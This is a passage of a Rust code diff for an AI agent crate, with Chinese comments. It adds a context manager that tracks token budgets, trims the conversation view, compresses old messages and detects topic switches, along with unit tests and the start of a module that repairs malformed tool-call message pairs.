assert_eq!(mgr.messages_mut()[1].topic.as_deref(), Some("file"), "compressed 消息 topic 应保留");
|
||||
// status 改为 compressed
|
||||
assert_eq!(mgr.messages_mut()[0].message.status.as_ref(), Some(&MessageStatus::Compressed));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn topic_marker_system_message_in_send_view_under_adequate_budget() {
|
||||
// 边界(marker 端到端):取 marker → 调用方 insert_at 顶 system 标记 →
|
||||
// build_for_request 在充足预算下 system 正常进发送视图(不丢,不 panic)。
|
||||
// 注:build_for_request 裁剪策略裁前部(保护最近 PROTECT_COUNT 条),顶置 system
|
||||
// 在极小预算撑爆时会被裁——这是策略既定行为,非 bug。本测验证充足预算下 marker
|
||||
// 流程端到端正常:marker 取出 + insert system + 发送视图含该 system。
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
mgr.push(ChatMessage::user("重构这段代码")); // code
|
||||
mgr.push(ChatMessage::user("创建项目并绑定目录")); // project → marker
|
||||
let marker = mgr.take_topic_marker().expect("应触发 marker");
|
||||
assert!(marker.contains("code") && marker.contains("project"));
|
||||
|
||||
// 调用方据 marker insert system 标记(agentic loop 实际行为)
|
||||
mgr.insert_at(0, ChatMessage::system("[主题切换标记]"));
|
||||
let (msgs, trimmed) = mgr.build_for_request(0);
|
||||
assert!(!trimmed, "充足预算不应裁剪");
|
||||
assert!(
|
||||
msgs.iter().any(|m| m.content.contains("[主题切换标记]")),
|
||||
"marker system 应进发送视图: {:?}",
|
||||
msgs.iter().map(|m| m.content.chars().take(15).collect::<String>()).collect::<Vec<_>>()
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn topic_marker_not_triggered_by_assistant_or_tool_messages() {
|
||||
// 边界:只有 user 消息参与主题推断;assistant/tool push 不触发 marker(topic=None)
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
mgr.push(ChatMessage::user("重构这段代码")); // code
|
||||
assert!(mgr.take_topic_marker().is_none());
|
||||
// assistant 消息(含 error 关键词但不影响 topic 推断,因 role 非 User)
|
||||
mgr.push(ChatMessage::assistant("编译 error 出现了"));
|
||||
assert!(
|
||||
mgr.take_topic_marker().is_none(),
|
||||
"assistant 消息不参与主题推断,不触发 marker"
|
||||
);
|
||||
// 再 push user(同 code topic)→ 末两条 user 都是 code,不切换
|
||||
mgr.push(ChatMessage::user("继续重构"));
|
||||
assert!(mgr.take_topic_marker().is_none(), "同 topic user 间不切换(assistant 不算)");
|
||||
// 此时末条 user 是 code,切到 project 应触发
|
||||
mgr.push(ChatMessage::user("创建项目并绑定目录"));
|
||||
assert!(mgr.take_topic_marker().is_some(), "code→project 切换应触发(assistant 不打断)");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn topic_marker_take_is_idempotent_and_clears() {
|
||||
// 边界:take_topic_marker 一次性消费,take 两次第二次必 None(防重复 insert)
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
mgr.push(ChatMessage::user("重构这段代码"));
|
||||
mgr.push(ChatMessage::user("创建项目并绑定目录"));
|
||||
let _ = mgr.take_topic_marker().expect("应有 marker");
|
||||
// 第二次 take 必 None
|
||||
assert!(mgr.take_topic_marker().is_none(), "marker 一次性消费, 二次 take 必空");
|
||||
}
|
||||
538
crates/df-ai/src/context/mod.rs
Normal file
538
crates/df-ai/src/context/mod.rs
Normal file
@@ -0,0 +1,538 @@
|
||||
//! 上下文管理器 — 管理对话上下文和 token 预算
|
||||
//!
|
||||
//! 职责:
|
||||
//! - 维护消息历史及其 token 计数缓存
|
||||
//! - 提供预算感知的消息裁剪(保护工具调用三元组)
|
||||
//! - 为 run_agentic_loop 提供受控的消息视图
|
||||
//!
|
||||
//! 裁剪策略与模型选择是正交维度:本模块只管「窗口多大、怎么裁」,
|
||||
//! 用哪个 model / 是否启用 reasoning 由调用方在 CompletionRequest 层决定。
|
||||
//!
|
||||
//! 纯函数 / 数据类型 / 常量(TokenEstimator / ContextConfig / MessageGroup /
|
||||
//! TrackedMessage / EvictionUnit / classify_group / PROTECT_COUNT /
|
||||
//! TOOL_MISSING_PREFIX)已抽至 [`crate::context_helpers`],本模块 `use` 复用,
|
||||
//! 并 `pub use` 重导出以保持 `df_ai::context::*` 历史路径对外可见(零调用方变更)。
|
||||
//!
|
||||
//! # 子模块
|
||||
//! - [`sanitize`]:畸形配对自愈(`sanitize_messages` / `drop_reverse_orphans` /
|
||||
//! `assert_placeholder_pairing` / `ensure_sequence_legal`)及其单测。
|
||||
//! 实现为模块级 `pub fn`,本模块通过 `ContextManager` 上的关联函数薄包装转发,
|
||||
//! 保持 `ContextManager::sanitize_messages(...)` 调用路径不变(零调用方变更)。
|
||||
|
||||
mod sanitize;
|
||||
|
||||
use crate::context_helpers::{
|
||||
classify_group, PLACEHOLDER_INTEGRITY_ENABLED, PROTECT_COUNT,
|
||||
};
|
||||
// 重导出:保持 `df_ai::context::TokenEstimator` / `df_ai::context::ContextConfig` 等
|
||||
// 历史路径对外可见(agentic.rs / commands/ai/mod.rs 等调用方零变更)。
|
||||
// `pub use` 同时把类型带入本模块命名空间,供 ContextManager 结构体字段与 impl 直接引用。
|
||||
pub use crate::context_helpers::{
|
||||
EvictionUnit, ContextConfig, MessageGroup, TokenEstimator, TrackedMessage,
|
||||
};
|
||||
|
||||
use crate::provider::{ChatMessage, MessageRole, MessageStatus};
|
||||
|
||||
// ============================================================
|
||||
// 上下文管理器
|
||||
// ============================================================
|
||||
|
||||
/// 上下文管理器
|
||||
///
|
||||
/// 唯一的消息真相来源(替代原来的 `Vec<ChatMessage>`)。
|
||||
/// 裁剪仅影响发送视图(`build_for_request`),不影响持久化(`all_messages_clone`)。
|
||||
pub struct ContextManager {
|
||||
messages: Vec<TrackedMessage>,
|
||||
/// 当前历史总 token 数(不含 system prompt)
|
||||
history_tokens: u32,
|
||||
config: ContextConfig,
|
||||
estimator: TokenEstimator,
|
||||
/// 压缩重入标志(F-15 §4.3):true 表示一次 LLM 压缩正在进行中。
|
||||
/// agentic loop 顶部检测,防同一轮内多次触发压缩互相覆盖。纯内存态,不落库。
|
||||
is_compressing: bool,
|
||||
/// [P2 改进5] 主题切换检测标记。push user 消息时若发现末两条 user 消息的 topic
|
||||
/// 都非 None 且不同(双高置信),置位本字段,格式 "old|new"。agentic loop 顶部读并
|
||||
/// 消费(insert 系统标记后清空)。纯内存态,不落库。保守:任一 topic 为 None 不置位(宁可漏报)。
|
||||
pending_topic_marker: Option<String>,
|
||||
}
|
||||
|
||||
impl ContextManager {
|
||||
pub fn new(config: ContextConfig) -> Self {
|
||||
Self {
|
||||
messages: Vec::new(),
|
||||
history_tokens: 0,
|
||||
config,
|
||||
estimator: TokenEstimator::default(),
|
||||
is_compressing: false,
|
||||
pending_topic_marker: None,
|
||||
}
|
||||
}
|
||||
|
||||
/// 追加消息(自动计算 token 并更新缓存)
|
||||
///
|
||||
/// 不在此处淘汰——push 可能发生在 agentic loop 中间(追加 tool_result),
|
||||
/// 此时不应裁剪正在使用的活跃消息。裁剪在 `build_for_request` 时统一处理。
|
||||
pub fn push(&mut self, message: ChatMessage) {
|
||||
let tokens = self.estimator.estimate_message(&message);
|
||||
let group = classify_group(&message);
|
||||
// 仅 active 消息计入 token 预算(F-15 §3.3):truncated / archived_segment /
|
||||
// compressed 不进 LLM 上下文,token 虚高会致 build_for_request 误判超预算
|
||||
// 触发不必要裁剪。!active 消息仍 push 到 self.messages 全量保留(持久化不受影响),
|
||||
// sanitize_messages step0(is_active 过滤)在发送视图统一剔除。
|
||||
if message.is_active() {
|
||||
self.history_tokens += tokens;
|
||||
}
|
||||
// [P2 改进5] 主题推断(仅 user 消息):IntentRecognizer 识别意图,置信 >= 0.7 且
|
||||
// 非 Unknown 则把 Intent 标签存入 TrackedMessage.topic 供主题切换检测。
|
||||
// 保守:低置信(None)不标,避免误报。topic 不参与裁剪/压缩(只供 marker 检测)。
|
||||
let topic: Option<String> = if matches!(message.role, MessageRole::User) {
|
||||
let (intent, conf) = crate::intent::IntentRecognizer::recognize(&message.content);
|
||||
if conf >= 0.7 && !matches!(intent, crate::intent::Intent::Unknown) {
|
||||
Some(intent.as_str().to_string())
|
||||
} else {
|
||||
None
|
||||
}
|
||||
} else {
|
||||
None
|
||||
};
|
||||
// [P2 改进5] 主题切换检测:push 前(本消息即将成末条 user),若已存在一条更早 user
|
||||
// 且本消息 topic 与之都非 None 且不同 → 置位 pending_topic_marker("old|new")。
|
||||
// 双高置信(两条 topic 都非 None)才标,任一 None 不标(宁可漏报不误报)。
|
||||
if matches!(message.role, MessageRole::User) {
|
||||
if let Some(prev_topic) = self.last_user_topic() {
|
||||
if let Some(this_topic) = &topic {
|
||||
if prev_topic != *this_topic {
|
||||
self.pending_topic_marker =
|
||||
Some(format!("{}|{}", prev_topic, this_topic));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
self.messages.push(TrackedMessage {
|
||||
message,
|
||||
token_count: tokens,
|
||||
group,
|
||||
topic,
|
||||
});
|
||||
}
|
||||
|
||||
/// 清空所有消息
|
||||
pub fn clear(&mut self) {
|
||||
self.messages.clear();
|
||||
self.history_tokens = 0;
|
||||
self.is_compressing = false;
|
||||
self.pending_topic_marker = None;
|
||||
}
|
||||
|
||||
/// 消息数量
|
||||
pub fn len(&self) -> usize {
|
||||
self.messages.len()
|
||||
}
|
||||
|
||||
pub fn is_empty(&self) -> bool {
|
||||
self.messages.is_empty()
|
||||
}
|
||||
|
||||
/// 当前历史占用的 token 数(不含 system prompt)
|
||||
pub fn history_tokens(&self) -> u32 {
|
||||
self.history_tokens
|
||||
}
|
||||
|
||||
/// 预算上限
|
||||
pub fn budget_limit(&self) -> u32 {
|
||||
self.config.budget_limit()
|
||||
}
|
||||
|
||||
// ── 核心:构建请求消息(受控裁剪版本)──
|
||||
|
||||
/// 构建发送给 LLM 的消息列表
|
||||
///
|
||||
/// `sys_tokens` 为调用方已估算好的 system prompt token 数。
|
||||
/// 超预算时自动裁剪旧消息(保护工具调用三元组 + 最近 PROTECT_COUNT 条)。
|
||||
/// 返回 (消息列表, 是否发生了裁剪)。
|
||||
pub fn build_for_request(&self, sys_tokens: u32) -> (Vec<ChatMessage>, bool) {
|
||||
let budget = self.budget_limit();
|
||||
let available = budget.saturating_sub(sys_tokens);
|
||||
|
||||
// system prompt 自身超预算:裁剪无法缓解(仍返回保护区兜底),warn 便于诊断
|
||||
if sys_tokens > budget {
|
||||
tracing::warn!(
|
||||
"system prompt (~{} tokens) 超过上下文预算 ({}),裁剪无法缓解",
|
||||
sys_tokens, budget
|
||||
);
|
||||
}
|
||||
|
||||
// 未超预算 → 直接返回全量(仍做畸形配对自愈,防历史中毒触发 provider 500 死循环)
|
||||
if self.history_tokens <= available {
|
||||
let sanitized = Self::sanitize_messages(self.all_messages_clone());
|
||||
// 阶段2 出口断言:占位配对完整性,失败降级 TOOL_MISSING_PREFIX 自愈(防 400 orphan)
|
||||
return (
|
||||
Self::assert_placeholder_pairing(sanitized, PLACEHOLDER_INTEGRITY_ENABLED),
|
||||
false,
|
||||
);
|
||||
}
|
||||
|
||||
// 超预算 → 视图裁剪(不修改 self.messages,保证 all_messages_clone 仍返回全量)
|
||||
let protect_start = self.messages.len().saturating_sub(PROTECT_COUNT);
|
||||
let units = self.build_eviction_units(protect_start);
|
||||
|
||||
let mut removed: u64 = 0;
|
||||
let mut trim_end = 0;
|
||||
for unit in &units {
|
||||
if self.history_tokens.saturating_sub(removed as u32) <= available {
|
||||
break;
|
||||
}
|
||||
removed += unit.token_sum as u64;
|
||||
trim_end = unit.end;
|
||||
}
|
||||
|
||||
if trim_end == 0 {
|
||||
tracing::warn!(
|
||||
"history (~{} tokens) 超预算 ({}) 但无可淘汰单元(全在保护区 {} 条),发送兜底可能触发 provider 超限",
|
||||
self.history_tokens, available, PROTECT_COUNT
|
||||
);
|
||||
// B-260626-01: 兜底全量也过 sanitize(对齐分支 1/3),防绕过序列修复直送 provider
|
||||
// 触发"首条 assistant 非法"/orphan/连续 role。原裸返 all_messages_clone 不过滤
|
||||
// truncated/中毒三元组/首条非法——是主 loop 唯一的 sanitize 漏洞(大体量 tool_result
|
||||
// 致超预算且保护区满时命中)。异常会话(开头连续 assistant/tool 无 user)经
|
||||
// ensure_sequence_legal 清空后,由协议层 ensure_leading_user 补 user 占位降级,不阻塞。
|
||||
// view-only:不改 self.messages 持久化(与分支 1/3 一致)。
|
||||
let sanitized = Self::sanitize_messages(self.all_messages_clone());
|
||||
return (
|
||||
Self::assert_placeholder_pairing(sanitized, PLACEHOLDER_INTEGRITY_ENABLED),
|
||||
false,
|
||||
);
|
||||
}
|
||||
|
||||
let msgs: Vec<ChatMessage> = self.messages[trim_end..]
|
||||
.iter()
|
||||
.map(|t| t.message.clone())
|
||||
.collect();
|
||||
|
||||
tracing::info!(
|
||||
"context_trimmed: skip {} messages, ~{} tokens (view-only, full history retained)",
|
||||
trim_end, removed
|
||||
);
|
||||
let sanitized = Self::sanitize_messages(msgs);
|
||||
// 阶段2 出口断言:占位配对完整性,失败降级 TOOL_MISSING_PREFIX 自愈(防 400 orphan)
|
||||
(
|
||||
Self::assert_placeholder_pairing(sanitized, PLACEHOLDER_INTEGRITY_ENABLED),
|
||||
true,
|
||||
)
|
||||
}
|
||||
|
||||
// ── 畸形配对自愈(转发至 [`sanitize`] 子模块,保持 ContextManager::xxx 调用路径)──
|
||||
|
||||
/// 畸形配对自愈 — 转发到 [`sanitize::sanitize_messages`]。
|
||||
///
|
||||
/// 保留为 `ContextManager` 关联函数以兼容历史调用路径(`Self::sanitize_messages` /
|
||||
/// `ContextManager::sanitize_messages`),实现见子模块文档。
|
||||
pub fn sanitize_messages(messages: Vec<ChatMessage>) -> Vec<ChatMessage> {
|
||||
sanitize::sanitize_messages(messages)
|
||||
}
|
||||
|
||||
/// 发送视图出口断言 — 转发到 [`sanitize::assert_placeholder_pairing`]。
|
||||
pub fn assert_placeholder_pairing(
|
||||
messages: Vec<ChatMessage>,
|
||||
enabled: bool,
|
||||
) -> Vec<ChatMessage> {
|
||||
sanitize::assert_placeholder_pairing(messages, enabled)
|
||||
}
|
||||
|
||||
/// 全量克隆(持久化 save_conversation / build_for_request 未裁剪分支,不受裁剪影响)
|
||||
pub fn all_messages_clone(&self) -> Vec<ChatMessage> {
|
||||
self.messages.iter().map(|t| t.message.clone()).collect()
|
||||
}
|
||||
|
||||
/// 从 Vec 恢复(兼容从 DB 加载)
|
||||
pub fn restore_from_messages(&mut self, messages: Vec<ChatMessage>) {
|
||||
self.clear();
|
||||
for msg in messages {
|
||||
self.push(msg);
|
||||
}
|
||||
}
|
||||
|
||||
/// 就地替换某条 tool_result 的内容(兼容审批 replace_tool_result)
|
||||
/// 返回 true 如果找到并替换了
|
||||
///
|
||||
/// 反向遍历:tool_result 由 append 进入历史,被替换的通常是最近的审批占位,
|
||||
/// 从尾部查找命中即停,避免对长历史做正向 O(n) 累积扫描。
|
||||
pub fn replace_tool_result_content(&mut self, tool_call_id: &str, new_content: &str) -> bool {
|
||||
let pos = self.messages.iter().rposition(|t| {
|
||||
matches!(t.message.role, MessageRole::Tool)
|
||||
&& t.message.tool_call_id.as_deref() == Some(tool_call_id)
|
||||
});
|
||||
|
||||
let Some(i) = pos else { return false };
|
||||
|
||||
// 先更新 content,再重估 token 并校正总量
|
||||
let old_tokens = self.messages[i].token_count;
|
||||
self.messages[i].message.content = new_content.to_string();
|
||||
let new_tokens = self.estimator.estimate_message(&self.messages[i].message);
|
||||
self.messages[i].token_count = new_tokens;
|
||||
self.history_tokens = self.history_tokens.saturating_sub(old_tokens).saturating_add(new_tokens);
|
||||
true
|
||||
}
|
||||
|
||||
/// 弹出末尾连续的 assistant 消息(含其 tool_calls 三元组尾随 tool_result)
|
||||
///
|
||||
/// 用于「重新生成」(UX-02):删掉最后一条 AI 回复(可能跨多轮 tool_calls + tool_results
|
||||
/// 紧随其后),保留触发它的 user 消息,以便重跑 agentic loop 再生成。
|
||||
///
|
||||
/// 语义:从末尾向前弹出,直到弹出至少一条 assistant 消息;若弹出 assistant 后紧邻的更早
|
||||
/// 消息仍是 assistant/tool(同一轮多块),继续一并弹出,确保不留半截三元组污染下轮。
|
||||
/// user 消息作为停止边界(不弹出 user),保证重生成时历史末尾是 user 消息。
|
||||
pub fn pop_last_assistant_round(&mut self) -> bool {
|
||||
if self.messages.is_empty() {
|
||||
return false;
|
||||
}
|
||||
let mut popped_any = false;
|
||||
// 从尾向前:先弹掉末尾非 user 的消息(assistant / tool),直到遇到 user 或空
|
||||
while let Some(last) = self.messages.last() {
|
||||
if matches!(last.message.role, MessageRole::User) {
|
||||
break;
|
||||
}
|
||||
let removed = self.messages.pop().expect("just checked non-empty");
|
||||
self.history_tokens = self.history_tokens.saturating_sub(removed.token_count);
|
||||
if matches!(removed.message.role, MessageRole::Assistant) {
|
||||
popped_any = true;
|
||||
}
|
||||
}
|
||||
popped_any
|
||||
}
|
||||
|
||||
/// 编辑某条 user 消息后,将其后所有消息标记为 truncated(UX-09 编辑重生成)。
|
||||
///
|
||||
/// 软删语义:保留在内存真相源 + DB(可追溯),但 sanitize_messages 过滤后不进 LLM 上下文,
|
||||
/// 前端按 is_active 过滤从视图移除。返回被标 truncated 的条数(0 表示该 user 消息已是末尾,无后续)。
|
||||
///
|
||||
/// `target_content` 为该 user 消息的预期内容(用于反向唯一定位:末条 user 消息可能内容相同,
|
||||
/// 故从尾部向前找第一条 role=User 且 content 匹配且仍 active 的消息)。
|
||||
/// 找不到返回 Err(()),调用方据此报错。
|
||||
pub fn truncate_after_user_message(&mut self, target_content: &str) -> Result<usize, ()> {
|
||||
// 反向找末条 active user 消息且 content 匹配
|
||||
let pos = self.messages.iter().rposition(|t| {
|
||||
matches!(t.message.role, MessageRole::User)
|
||||
&& t.message.content == target_content
|
||||
&& t.message.is_active()
|
||||
});
|
||||
let Some(i) = pos else { return Err(()) };
|
||||
// i 之后的全部标 truncated(已 truncated 的跳过,只统计本次新标的)
|
||||
let mut count = 0usize;
|
||||
for t in self.messages[i + 1..].iter_mut() {
|
||||
if t.message.is_active() {
|
||||
t.message.status = Some(MessageStatus::Truncated);
|
||||
count += 1;
|
||||
}
|
||||
}
|
||||
Ok(count)
|
||||
}
|
||||
|
||||
/// 替换末条 active user 消息的 content(UX-09 编辑重生成)。
|
||||
///
|
||||
/// 编辑语义:只能编辑最后一条 user 消息(中间编辑语义复杂,拒绝)。返回 Err(()) 表示无 active user 消息。
|
||||
/// 成功后调用方应紧接着 truncate_after_user_message(new_content) 软删其后续消息。
|
||||
pub fn replace_last_active_user_content(&mut self, new_content: &str) -> Result<(), ()> {
|
||||
let pos = self.messages.iter().rposition(|t| {
|
||||
matches!(t.message.role, MessageRole::User) && t.message.is_active()
|
||||
});
|
||||
let Some(i) = pos else { return Err(()) };
|
||||
let old_tokens = self.messages[i].token_count;
|
||||
self.messages[i].message.content = new_content.to_string();
|
||||
let new_tokens = self.estimator.estimate_message(&self.messages[i].message);
|
||||
self.messages[i].token_count = new_tokens;
|
||||
self.history_tokens = self.history_tokens.saturating_sub(old_tokens).saturating_add(new_tokens);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// 只读迭代(兼容 ensure_conversation_title 的 .iter().filter() 等)
|
||||
pub fn iter(&self) -> impl Iterator<Item = &ChatMessage> {
|
||||
self.messages.iter().map(|t| &t.message)
|
||||
}
|
||||
|
||||
/// F-260619-04 P1 消息级溯源:取末条指定 role 消息的 id(ULID)。
|
||||
///
|
||||
/// 从尾部反向扫描(末条消息命中即停,避免全量 O(n) 正扫累积),返回最近一条
|
||||
/// `role` 匹配且 `id` 非空消息的 id。无匹配或老消息无 id → None(向前兼容:
|
||||
/// 老反序列化消息 id=None,溯源写入降级为 None,展示侧兼容 `conv:` 旧格式)。
|
||||
///
|
||||
/// 用途:
|
||||
/// - `MessageRole::Assistant`:audit/知识提炼写入时取当前 assistant 消息 id
|
||||
/// (LLM 返回带 tool_calls 的 assistant 已 push,process_tool_calls 入口取)
|
||||
/// - `MessageRole::User`:知识注入 referenced 事件溯源取触发检索的 user 消息 id
|
||||
fn last_message_id_by_role(&self, role: MessageRole) -> Option<String> {
|
||||
self.messages
|
||||
.iter()
|
||||
.rev()
|
||||
.find(|t| {
|
||||
std::mem::discriminant(&t.message.role) == std::mem::discriminant(&role)
|
||||
})
|
||||
.and_then(|t| t.message.id.clone())
|
||||
}
|
||||
|
||||
/// 末条 assistant 消息的 id(消息级溯源用)。
|
||||
pub fn last_assistant_message_id(&self) -> Option<String> {
|
||||
self.last_message_id_by_role(MessageRole::Assistant)
|
||||
}
|
||||
|
||||
/// 末条 user 消息的 id(消息级溯源用)。
|
||||
pub fn last_user_message_id(&self) -> Option<String> {
|
||||
self.last_message_id_by_role(MessageRole::User)
|
||||
}
|
||||
|
||||
// ── [P2 改进5] 主题切换检测(保守,双高置信才标) ──
|
||||
|
||||
/// 取末条 user 消息的 topic 标签(供 push 时主题切换检测)。
|
||||
///
|
||||
/// 从尾部反向扫描 user 消息,取最近一条 role=User 的 TrackedMessage.topic。
|
||||
/// 老消息(未接改进5 推断)topic=None → 返 None(向前兼容)。无 user 消息 → None。
|
||||
fn last_user_topic(&self) -> Option<String> {
|
||||
self.messages
|
||||
.iter()
|
||||
.rev()
|
||||
.find(|t| matches!(t.message.role, MessageRole::User))
|
||||
.and_then(|t| t.topic.clone())
|
||||
}
|
||||
|
||||
/// 取并消费 pending_topic_marker(供 agentic loop 顶部读 → insert 系统标记 → 清空)。
|
||||
///
|
||||
/// 返回 "old|new" 格式字符串(push 时末两条 user topic 都非 None 且不同置位)。
|
||||
/// 取出即清空(一次性消费,防同 marker 重复 insert)。无 marker → None。
|
||||
pub fn take_topic_marker(&mut self) -> Option<String> {
|
||||
self.pending_topic_marker.take()
|
||||
}
|
||||
|
||||
// ── F-15 上下文管理增强辅助方法(压缩链路核心 API)──
|
||||
//
|
||||
// 已全量接入压缩链路:
|
||||
// - agentic/mod.rs 自动压缩(trigger 判定 + LLM/关键词兜底 + 重入保护)
|
||||
// set_compressing/is_compressing(重入标志) / has_compressible_messages(触发判定)
|
||||
// messages_mut(取 active 喂 LLM) / compress_old_messages(标 compressed 扣 token)
|
||||
// insert_at(摘要/续接锚点 system 消息插入首位)
|
||||
// - commands/ai/compress.rs 与 commands/ai/commands/chat.rs 走 IPC 压缩入口
|
||||
// - build_eviction_units(下方)供会话分段与压缩定位共用同一分组逻辑。
|
||||
|
||||
/// 配置(只读视图,供 agentic.rs 计算压缩触发阈值 `config().budget_limit()`)
|
||||
pub fn config(&self) -> &ContextConfig {
|
||||
&self.config
|
||||
}
|
||||
|
||||
/// 可变消息切片(供阶段2 标记 status="compressed"/"archived_segment" + 调整 token)
|
||||
///
|
||||
/// 调用方约定:仅改 `message.status` / `message.content`,不增删条目(增删走
|
||||
/// [`push`] / [`insert_at`]),否则 `history_tokens` 会与实际脱钩。
|
||||
pub fn messages_mut(&mut self) -> &mut [TrackedMessage] {
|
||||
&mut self.messages
|
||||
}
|
||||
|
||||
/// 在给定位置插入一条消息(其余向后移),并把它计入 token 预算(active 才计)。
|
||||
///
|
||||
/// 供阶段2 在压缩点插入摘要 system 消息。`index` 越界则 panic(对齐 Vec::insert 语义,
|
||||
/// 调用方负责算合法 index,如 `compress_end` 已由 `compress_old_messages` 校验)。
|
||||
pub fn insert_at(&mut self, index: usize, message: ChatMessage) {
|
||||
let tokens = self.estimator.estimate_message(&message);
|
||||
let group = classify_group(&message);
|
||||
if message.is_active() {
|
||||
self.history_tokens += tokens;
|
||||
}
|
||||
self.messages.insert(index, TrackedMessage {
|
||||
message,
|
||||
token_count: tokens,
|
||||
group,
|
||||
topic: None,
|
||||
});
|
||||
}
|
||||
|
||||
/// 按淘汰单元分组消息范围(三元组原子性),供压缩定位/分段标记复用同一分组逻辑。
|
||||
///
|
||||
/// 返回每个单元的右开区间 end + token 总和,保证:
|
||||
/// - 工具调用三元组(Head + Tail* + 紧随的 Standalone Assistant)在同一单元
|
||||
/// - 保护区 `[protect_start, len)` 内的消息不纳入任何单元
|
||||
///
|
||||
/// 公开供阶段2 会话分段(`archived_segment` 按组原子标记)与压缩定位共用。
|
||||
pub fn build_eviction_units(&self, protect_start: usize) -> Vec<EvictionUnit> {
|
||||
let mut units = Vec::new();
|
||||
let mut i = 0usize;
|
||||
|
||||
while i < protect_start {
|
||||
let mut token_sum = 0u32;
|
||||
|
||||
if self.messages[i].group == MessageGroup::ToolCallHead {
|
||||
token_sum += self.messages[i].token_count;
|
||||
i += 1;
|
||||
while i < protect_start && self.messages[i].group == MessageGroup::ToolResultTail {
|
||||
token_sum += self.messages[i].token_count;
|
||||
i += 1;
|
||||
}
|
||||
if i < protect_start
|
||||
&& self.messages[i].group == MessageGroup::Standalone
|
||||
&& matches!(self.messages[i].message.role, MessageRole::Assistant)
|
||||
{
|
||||
token_sum += self.messages[i].token_count;
|
||||
i += 1;
|
||||
}
|
||||
} else {
|
||||
token_sum += self.messages[i].token_count;
|
||||
i += 1;
|
||||
}
|
||||
|
||||
units.push(EvictionUnit { end: i, token_sum });
|
||||
}
|
||||
|
||||
units
|
||||
}
|
||||
|
||||
/// 保护区外是否存在可压缩消息(供 agentic loop 顶部触发判断)。
|
||||
///
|
||||
/// "可压缩"= status 为 None/active 的消息(已 compressed/archived_segment/truncated
|
||||
/// 不参与二次压缩,幂等)。`protect_start` 为保护区起点(如 `len - PROTECT_COUNT`)。
|
||||
pub fn has_compressible_messages(&self, protect_start: usize) -> bool {
|
||||
let end = protect_start.min(self.messages.len());
|
||||
// BUG-260624-05:排除 system 角色(压缩摘要 / 话题切换锚点)。这些是上下文锚点非压缩目标——
|
||||
// 若计入,压缩摘要 insert_at(0) 落在可压缩区 [0..protect_start) 且 is_active(status=None),
|
||||
// 致每轮 has_compressible 恒 true → 无限循环压缩(用户报"压缩后每轮提示已压缩并停止")。
|
||||
// compress_old_messages 不改:被调用时仍标旧 system 摘要 compressed(被新摘要替代,防堆积)。
|
||||
self.messages[..end]
|
||||
.iter()
|
||||
.any(|t| t.message.is_active() && !matches!(t.message.role, MessageRole::System))
|
||||
}
|
||||
|
||||
/// 把保护区 `[0, compress_end)` 范围内的 active 消息标记为 `status="compressed"`,
|
||||
/// 同步从 `history_tokens` 扣除其 token,返回被压缩消息的克隆(供阶段2 喂 LLM 摘要)。
|
||||
///
|
||||
/// **幂等**:已 compressed(或任何 !active)的消息跳过,不会被二次压缩;`history_tokens`
|
||||
/// 也只扣首次标记的 token。返回的 Vec 仅含**本次新标记**的消息(已 compressed 的不返)。
|
||||
///
|
||||
/// **单向不可逆**:压缩后 DB 原始消息保留,但 LLM 上下文里被 is_active 白名单隔离
|
||||
/// (sanitize step0 过滤)。`compress_end` 越界自动 clamp 到 `messages.len()`。
|
||||
///
|
||||
/// 返回空 Vec 表示本批次无可压缩消息(全部已 compressed 或范围空),调用方据此跳过 LLM 调用。
|
||||
pub fn compress_old_messages(&mut self, compress_end: usize) -> Vec<ChatMessage> {
|
||||
let end = compress_end.min(self.messages.len());
|
||||
let mut newly_compressed = Vec::new();
|
||||
for t in self.messages[..end].iter_mut() {
|
||||
if t.message.is_active() {
|
||||
newly_compressed.push(t.message.clone());
|
||||
t.message.status = Some(MessageStatus::Compressed);
|
||||
self.history_tokens = self.history_tokens.saturating_sub(t.token_count);
|
||||
}
|
||||
}
|
||||
newly_compressed
|
||||
}
|
||||
|
||||
/// 压缩重入标志(读)。true 表示一次 LLM 压缩正在进行中,触发方应跳过本轮压缩。
|
||||
pub fn is_compressing(&self) -> bool {
|
||||
self.is_compressing
|
||||
}
|
||||
|
||||
/// 压缩重入标志(写)。`true`=开始压缩(进入 agentic loop 顶部前置置位),
|
||||
/// `false`=压缩结束(无论成功或降级)。调用方必须成对调用,防止永久卡死。
|
||||
pub fn set_compressing(&mut self, v: bool) {
|
||||
self.is_compressing = v;
|
||||
}
|
||||
|
||||
// build_eviction_units / classify_group 等已在上方公开或文件级定义。
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod manager_tests;
|
||||
761
crates/df-ai/src/context/sanitize.rs
Normal file
761
crates/df-ai/src/context/sanitize.rs
Normal file
@@ -0,0 +1,761 @@
|
||||
//! 畸形配对自愈 — 过滤掉会导致 provider 400/500 的中毒历史。
|
||||
//!
|
||||
//! 本模块为 `context::ContextManager` 的 sanitize 链路实现层,由 `mod.rs` 中
|
||||
//! `ContextManager` 的关联函数薄包装转发调用(保持 `ContextManager::sanitize_messages`
|
||||
//! 等历史调用路径不变)。
|
||||
//!
|
||||
//! # 函数概览
|
||||
//! - [`sanitize_messages`]:主入口(step0 active 过滤 → step1/2/3 正向 orphan →
|
||||
//! step3.5 反向 orphan → step4 序列合法性)。
|
||||
//! - [`drop_reverse_orphans`]:step3.5 反向 orphan 检测。
|
||||
//! - [`assert_placeholder_pairing`]:发送视图出口断言(补占位头自愈)。
|
||||
//! - [`ensure_sequence_legal`]:step4 序列合法性修复(首条 user + 连续同 role 合并)。
|
||||
|
||||
use crate::context_helpers::{is_pending_placeholder, PLACEHOLDER_INTEGRITY_ENABLED, TOOL_MISSING_PREFIX};
|
||||
use crate::provider::{ChatMessage, MessageRole, ToolCall};
|
||||
|
||||
/// 畸形配对自愈 — 过滤掉会导致 provider 500 的中毒历史
|
||||
///
|
||||
/// 根因:Anthropic 流式 `tool_use` 块缺 id 时(anthropic_compat.rs 170-176)
|
||||
/// 生成 `tool_missing_{idx}` 占位 id;对应的 `tool_result` 一旦推入历史,
|
||||
/// 下次 `build_for_request` 把畸形三元组原样回传 → 服务端 500 → stream_recv
|
||||
